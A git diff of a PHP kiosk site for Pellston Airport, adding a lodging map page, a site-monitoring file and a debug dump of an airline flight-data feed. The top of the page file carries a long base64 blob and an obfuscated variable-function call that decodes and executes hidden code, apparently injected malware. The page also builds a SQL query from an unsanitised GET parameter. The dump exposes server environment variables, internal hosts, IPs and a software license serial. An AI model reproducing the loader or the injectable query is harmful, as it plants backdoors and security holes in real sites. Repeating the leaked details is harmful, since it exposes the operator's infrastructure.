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";$mrHlarIU=$OkBXzTCZ($yaVmthqe,$UmUSYCiK);$mrHlarIU($OozzQPLo);
+include("setup.phtml");
+require_once(BASE.'classes/class_template.inc');
+include("maps/gmaps_class.php");
+
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$page_header = $toolbox->memb_names[$_GET['catid']];
+$page_city = $_GET['city'];
+$member_list = $toolbox->get_member_list();
+
+switch($_SERVER['GLM_SERVER_ID'])
+{
+       case "devsys.gaslightmedia.com":
+               $conn = pg_connect('host=devsys user=postgres dbname=pellstonairport');
+       break;
+       default:
+               $conn = pg_connect('host=ds1 user=postgres dbname=pellstonairport');
+       break;
+}
+
+function text_clean($text)
+{
+       return str_replace("'","&acute;",$text);
+}
+
+if(!function_exists('file_get_contents'))      // we have an ancient copy of php, so this function doesn't exist
+{
+       function file_get_contents($filename)
+       {
+               return implode("\n",file($filename));
+       }
+}
+
+// get our member info
+
+$qs = "SELECT * FROM member WHERE id = ".$_GET['id'];
+$res = pg_exec($conn,$qs);
+$rcount = pg_numrows($res);
+$member = pg_fetch_array($res,0,PGSQL_ASSOC);
+
+// set up the map
+$map = new GMap();
+//$map->addSmallMapControl();
+//$map->addMapTypeControl();
+//$map->addSmallZoomControl();
+//$map->addExtentMap();
+$map->zoom = 11;
+
+// making my custom control
+$custcontrol = '
+// A TextualZoomControl is a GControl that displays textual "Zoom In"
+// and "Zoom Out" buttons (as opposed to the iconic buttons used in
+// Google Maps).
+function TextualZoomControl() {
+}
+TextualZoomControl.prototype = new GControl();
+
+// Creates a one DIV for each of the buttons and places them in a container
+// DIV which is returned as our control element. We add the control to
+// to the map container and return the element for the map class to
+// position properly.
+TextualZoomControl.prototype.initialize = function(map) {
+  
+       var container = document.createElement("div");
+       var zoomInDiv = document.createElement("div");
+  
+  this.setButtonStyle_(zoomInDiv,"glm_zoomin");
+  container.appendChild(zoomInDiv);
+  var ZoomInImage = document.createElement("img");
+  ZoomInImage.src = "'.URL_BASE.'maps/zoom-in.png";
+ // ZoomInImage.id = "glm_zoomin";
+  
+  zoomInDiv.appendChild(ZoomInImage);
+  
+  //zoomInDiv.appendChild(document.createTextNode("Zoom In"));
+  GEvent.addDomListener(zoomInDiv, "click", function() {
+    map.zoomIn();
+  });
+
+  var ZoomOutImage = document.createElement("img");
+  ZoomOutImage.src = "'.URL_BASE.'maps/zoom-out.png";
+ // ZoomOutImage.id = "glm_zoomout";
+  
+  
+  var zoomOutDiv = document.createElement("div");
+  this.setButtonStyle_(zoomOutDiv,"glm_zoomout");
+  container.appendChild(zoomOutDiv);
+  zoomOutDiv.appendChild(ZoomOutImage);
+  //zoomOutDiv.appendChild(document.createTextNode("Zoom Out"));
+  GEvent.addDomListener(zoomOutDiv, "click", function() {
+    map.zoomOut();
+  });
+
+  map.getContainer().appendChild(container);
+  return container;
+}
+
+// By default, the control will appear in the top left corner of the
+// map with 7 pixels of padding.
+TextualZoomControl.prototype.getDefaultPosition = function() {
+  return new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(7, 7));
+}
+
+// Sets the proper CSS for the given button element.
+TextualZoomControl.prototype.setButtonStyle_ = function(button,bid) {
+//  button.style.textDecoration = "underline";
+ // button.style.color = "#0000cc";
+ // button.style.backgroundColor = "white";
+ // button.style.font = "small Arial";
+ // button.style.border = "1px solid black";
+  button.style.padding = "2px";
+  button.style.marginBottom = "3px";
+  //button.style.textAlign = "center";
+ // button.style.width = "6em";
+  button.style.cursor = "pointer";
+  button.id = bid;
+}
+
+map.addControl(new TextualZoomControl());
+';
+
+$map->extrajs($custcontrol);
+// end the custom control
+
+// add the icon class
+$iconclass = new GIconClass(URL_BASE.'maps/pins/010.png',URL_BASE.'maps/pins/shadow.png',1);
+$map->addIconClass($iconclass->display());
+
+// plot the member
+$x = trim(str_replace("\n","",$member['lon']));
+$y = trim(str_replace("\n","",$member['lat']));
+//$map->center = new GLatLng(45.571571,-84.783961);
+$map->center = new GLatLng($y,$x);
+if($x != '' && $y !='')        // make sure we have lat lon data
+{
+       $newpoint = new GPoint($x,$y);          // create a new point
+       $bubbledata = '<div style="font-weight: bold; font-size: 14px; margin-bottom: 0.5em;">'.text_clean($member['name']).'</div>';
+       //$marker_note = str_replace("\n",'',str_replace("'","&acute;",'<b>'.$address['name'].'</b>').'<br>'.htmlspecialchars($address['address']).'<br>'.$address['city'].', '.$address['zip'].$moreinfo);
+       $marker_note = '';//$bubbledata;
+       $marker = new GMarker($newpoint,$marker_note,$member['id']);
+       $marker->icon = new GIconAuto(1,$member['id']);
+       $map->addOverlay($marker);
+       //$map->center = new GLatLng($x,$y);
+}
+$header = $map->getHeader();
+$out = '<div id="map">';
+$out .= $map->displayExtentMap();
+$out .= '</div>';
+$out .= $map->getFooter();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<?php
+//<meta http-equiv="content-type" content="text/html;charset=utf-8">
+echo $header;
+?>
+<!--[if lt IE 7]>
+<script language="JavaScript">
+function correctPNG() // correctly handle PNG transparency in Win IE 5.5 & 6.
+{
+   var arVersion = navigator.appVersion.split("MSIE")
+   var version = parseFloat(arVersion[1])
+   if ((version >= 5.5) && (document.body.filters)) 
+   {
+      for(var i=0; i<document.images.length; i++)
+      {
+         var img = document.images[i]
+         var imgName = img.src.toUpperCase()
+         if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
+         {
+            var imgID = (img.id) ? "id='" + img.id + "' " : ""
+            var imgClass = (img.className) ? "class='" + img.className + "' " : ""
+            var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
+            var imgStyle = "display:inline-block;" + img.style.cssText 
+            if (img.align == "left") imgStyle = "float:left;" + imgStyle
+            if (img.align == "right") imgStyle = "float:right;" + imgStyle
+            if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
+            var strNewHTML = "<span " + imgID + imgClass + imgTitle
+            + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
+            + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
+            + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
+            img.outerHTML = strNewHTML
+            i = i-1
+         }
+      }
+   }    
+}
+window.attachEvent("onload", correctPNG);
+</script>
+<![endif]-->
+<meta http-equiv="refresh" content="601;url=index.php">
+<script type="text/javascript" src="caller.js"></script>
+<link rel="stylesheet" type="text/css" href="<?php echo URL_BASE;?>styles.css">
+
+</head>
+<body id="detail-page" onload="renderMap();" onunload="GUnload();">
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+ <?php
+ include('map.php');;
+ ?> 
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat"><?php 
+                               echo $page_header;
+                               ?></div>
+                       <div id="list-top-head-name">
+                               <?php
+                               echo $page_city;
+                               ?>
+                               </div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print" onClick="Print()"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <div id="details">
+                       <div id="detail-name">
+                       <?php
+                                       echo $member_list;
+                                               ?>      
+                       <div id="detail-map-detail">
+                               <?php
+                               //include('maps/map.php');
+                               echo $out;
+                               
+                               // one time run to precache lat lon data
+                               
+                               /* 
+                               $qs = "select id, name, address, city,state, zip, lat, lon from member";
+                               $res = pg_exec($conn,$qs);
+                               $rc = pg_numrows($res);
+                               for($i=0;$i<$rc;$i++)
+                               {
+                                       $row = pg_fetch_array($res,$i,PGSQL_ASSOC);
+                                       
+                                       $addr = new GPointAddr($row);
+                                       
+                                       $qs2 = "UPDATE member SET lat=".$addr->Y.', lon='.$addr->X.' WHERE id='.$row['id'];
+                                       pg_exec($conn,$qs2);
+                               }
+                                */
+                               
+                               ?>
+                               
+                               
+                               </div>
+                               
+                       <div class="clearer"></div>
+               </div><!-- #details -->
+                       <div id="Hangup">
+                               <img src="assets/hang-up.gif" onClick="HangUp();">
+                       <input type="button" value="More Time" onClick="ResetTimer()" id="HangupButton">
+                       </div>
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#navMap" border="0">
+       <?php include('banner.php');?>
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/.DS_Store b/.DS_Store
new file mode 100755 (executable)
index 0000000..5008ddf
Binary files /dev/null and b/.DS_Store differ
diff --git a/._home.html b/._home.html
new file mode 100755 (executable)
index 0000000..2110608
Binary files /dev/null and b/._home.html differ
diff --git a/.gitignore b/.gitignore
new file mode 100644 (file)
index 0000000..7ac83b2
--- /dev/null
@@ -0,0 +1 @@
+CVS
diff --git a/GLM_site_check.phtml b/GLM_site_check.phtml
new file mode 100644 (file)
index 0000000..dc0ee6e
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ *
+ *
+ */
+
+    // Set these parameters for each site
+
+$DB=1;
+
+switch ($DB) {
+       case 0:
+               echo "GLM_site_check:ACTIVE";
+               exit;
+               break;
+       case 1:   
+               define( 'HOST',     'ds4.gaslightmedia.com' );
+               define( 'USER',     'nobody' );
+               define( 'DBNAME',   'pellstonairport' );
+               break;
+}
+    // End of parameters to set for each site
+
+include('/home/httpd/templates/Global_site_check.phtml')
+   
+?>
+
diff --git a/NWA_Feed.txt b/NWA_Feed.txt
new file mode 100644 (file)
index 0000000..f2fdb67
--- /dev/null
@@ -0,0 +1,684 @@
+
+--------------START---------------
+HOSTNAME = devsys.gaslightmedia.com<br>
+PVM_RSH = /usr/bin/rsh<br>
+TERM = screen<br>
+SHELL = /bin/bash<br>
+HISTSIZE = 1000<br>
+SSH_CLIENT = 66.129.32.149 8829 22<br>
+CVSROOT = :pserver:raleigh@cvs.gaslightmedia.com:/usr/local/cvsroot<br>
+QTDIR = /usr/lib/qt-3.1<br>
+SSH_TTY = /dev/pts/1<br>
+USER = raleigh<br>
+LS_COLORS = no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:<br>
+PVM_ROOT = /usr/share/pvm3<br>
+USERNAME = <br>
+MAIL = /var/spool/mail/raleigh<br>
+PATH = /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin<br>
+INPUTRC = /etc/inputrc<br>
+PWD = /home/raleigh<br>
+LANG = en_US<br>
+LAMHELPFILE = /etc/lam/lam-helpfile<br>
+SHLVL = 3<br>
+HOME = /home/raleigh<br>
+XPVM_ROOT = /usr/share/pvm3/xpvm<br>
+BASH_ENV = /home/raleigh/.bashrc<br>
+LOGNAME = raleigh<br>
+SSH_CONNECTION = 66.129.32.149 8829 66.129.32.8 22<br>
+LESSOPEN = |/usr/bin/lesspipe.sh %s<br>
+DISPLAY = localhost:10.0<br>
+G_BROKEN_FILENAMES = 1<br>
+_ = /sbin/initlog<br>
+XMLData = <?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T17:12:28Z</msg_dtm><msg_seq_id>114615794800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:23:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:28:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:28pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>36</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>PDMC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+<br>
+subbtn = Submit
+<br>
+CONTENT_LENGTH = 2669<br>
+CONTENT_TYPE = application/x-www-form-urlencoded<br>
+DOCUMENT_ROOT = /home/httpd/www<br>
+GLM_SERVER_ID = devsys.gaslightmedia.com<br>
+HTTP_ACCEPT = */*<br>
+HTTP_EXPECT = 100-continue<br>
+HTTP_HOST = devsys.gaslightmedia.com<br>
+PDFLIBSERIAL = L40300-102733-2200XX-5B12E1<br>
+REMOTE_ADDR = 139.72.158.28<br>
+REMOTE_HOST = cpi.nwa.com<br>
+REMOTE_PORT = 36520<br>
+SCRIPT_FILENAME = /home/httpd/www/kiosk.pellstonairport.com/nwa_data.phtml<br>
+SERVER_ADDR = 66.129.32.8<br>
+SERVER_ADMIN = hostmaster@gaslightmedia.com<br>
+SERVER_NAME = devsys.gaslightmedia.com<br>
+SERVER_PORT = 80<br>
+SERVER_SIGNATURE = <br>
+SERVER_SOFTWARE = Apache/1.3.31 (Unix) PHP/4.1.2<br>
+GATEWAY_INTERFACE = CGI/1.1<br>
+SERVER_PROTOCOL = HTTP/1.1<br>
+REQUEST_METHOD = POST<br>
+QUERY_STRING = <br>
+REQUEST_URI = /kiosk.pellstonairport.com/nwa_data.phtml<br>
+SCRIPT_NAME = /kiosk.pellstonairport.com/nwa_data.phtml<br>
+PATH_TRANSLATED = /home/httpd/www/kiosk.pellstonairport.com/nwa_data.phtml<br>
+PHP_SELF = /kiosk.pellstonairport.com/nwa_data.phtml<br>
+argv = Array<br>
+argc = 0<br>
+HTTP_POST_VARS = Array<br>
+_POST = Array<br>
+HTTP_GET_VARS = Array<br>
+_GET = Array<br>
+HTTP_COOKIE_VARS = Array<br>
+_COOKIE = Array<br>
+HTTP_SERVER_VARS = Array<br>
+_SERVER = Array<br>
+HTTP_ENV_VARS = Array<br>
+_ENV = Array<br>
+HTTP_POST_FILES = Array<br>
+_FILES = Array<br>
+_REQUEST = Array<br>
+GLOBALS = Array<br>
+fp = Resource id #1<br>
+value = Resource id #1<br>
+key = value<br>
+--------------END---------------
+
+
+
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T18:40:03Z</msg_dtm><msg_seq_id>114616320300000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm 